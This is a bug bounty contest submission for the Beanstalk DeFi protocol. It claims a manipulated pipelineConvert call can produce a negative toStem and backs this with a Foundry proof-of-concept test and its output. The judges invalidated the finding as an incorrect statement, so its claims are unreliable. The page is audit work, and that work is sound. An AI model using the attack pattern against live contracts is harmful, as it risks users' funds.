Beanstalk: The Finale
Beanstalk
DeFiHardhatFoundry
250,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Attack to have negative `toStem` calculation during `pipelineConvert`

fyamf

Summary

During converting through pipelineConvert, it is possible to have negative toStem by manipulating the data when executeAdvancedFarmCalls is called.
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/PipelineConvertFacet.sol#L62
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/silo/PipelineConvertFacet.sol#L98

Vulnerability Details

When converting X amount of token bean to Y LP tokens, during the function call executeAdvancedFarmCalls, it is exepected that X beans will be added as liquidity to the well, and Y LP tokens are returned into the protocol. Regarding the grown stalks, the protocol calculates the amount of grown stalks associated to X amount of beans, and then calculates the toStem as if Y LP tokens produced this amount of grown stalks. The formula for calculating toStem is:

toStem = stemTip - (grownstalks associated with X) / (equivalent bdv of Y LP tokens)

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibConvert.sol#L523
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Silo/LibTokenSilo.sol#L551

The issue is that if during the function call executeAdvancedFarmCalls, the bean amounts added as liquidity to the well is much less than X, the returned LP tokens amount will be much less than Y. But, the protocol still assumes that X beans is converted so the grown stalks associated with X beans will still be included in the calculations.

toStem = stemTip - (grownstalks associated with X) / (equivalent bdv of small amount of LP tokens)

Thus, if stemTip < (grownstalks associated with X) / (equivalent bdv of small amount of LP tokens), the value of toStem would be negative.

How to manipulate the amount of beans added to the liquidity in the well? In other words how to add small amount of beans as liquidity in the well instead of full X amount?

Test Case

The following foundry test shows that the attacker is going to convert 100e6 bean to LP, so the parameter amounts is equal to [100e6]. Thus, during the convert, 100e6 beans are transferred to the C.PIPELINE. But, the created calls beanToLPFarmCalls are as follows in order (Note that these encoded data are inserted as the parameter advancedFarmCalls in the function pipelineConvert):

  • transfer 100e6 - 10 to the attacker

  • approve max to the well

  • add 10 beans as liquidity to the well

By doing so, in reality, only 10 beans are added as liquidity to the well, and as a result 9 bdv of LP tokens are returned. But, since the grownstalks associated with 100e6 beans are considered for calculation of toStem, we have: stemTip < (grownstalks associated with 100e6 beans) / (9). Thus, toStem is negative value equal to -44444436444444. Moreover, it shows that the deposit id is encoded pack of token address + uint96(toStem), since toStem is negative, the uint96 type casting converts the toStem to 0xffffffffffffd793f9274ae4.
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/LibBytes.sol#L140

function testOverflow() public {
// users[1] is the attacker
int96 stem;
uint beanAmountToConvert = 10;
uint beanAmountToWithdraw = 100e6 - beanAmountToConvert;
​
// manipulate well so we won't have a penalty applied
setDeltaBforWell(int256(beanAmountToConvert), beanEthWell, C.WETH);
​
stem = depositBeanAndPassGermination(beanAmountToConvert + beanAmountToWithdraw, users[1]);
​
// do the convert
​
// Create arrays for stem and amount
int96[] memory stems = new int96[](1);
stems[0] = stem;
​
AdvancedFarmCall[] memory beanToLPFarmCalls = createBeanToLPFarmCallsMalicious(
beanAmountToWithdraw,
beanAmountToConvert,
new AdvancedPipeCall[](0)
);
​
uint256[] memory amounts = new uint256[](1);
amounts[0] = beanAmountToConvert + beanAmountToWithdraw;
​
vm.prank(users[1]); // do this as user 1
(int96 toStem,,,, uint256 toBdv) = convert.pipelineConvert(
C.BEAN, // input token
stems, // stems
amounts, // amount
beanEthWell, // token out
beanToLPFarmCalls // farmData
);
​
console.log("toStem:");
console.logInt(toStem);
console.log("toBDV: ", toBdv);
​
uint256[] memory depositId = bs.getTokenDepositIdsForAccount(users[1], beanEthWell);
console.log("deposit id:");
console.logBytes32(bytes32(depositId[0]));
console.log("converting toStem to uint96:");
console.logBytes12(bytes12(uint96(toStem)));
}

The output is:

toStem:
-44444436444444
toBDV: 9
deposit id:
0xbea0e11282e2bb5893bece110cf199501e872badffffffffffffd793f9274ae4
converting toStem to uint96:
0xffffffffffffd793f9274ae4

Impact

  • Negative toStem can have many impacts on the protocol during transfer deposits, withdrawing deposits, depositing enroots, and converting.

  • It means that the deposit is done in a negative cumulative grown stalks per bdv that does not make sense.

Tools Used

Recommendations

It is recomended to enforce to have non-negative toStem when converting.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

fyamf Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.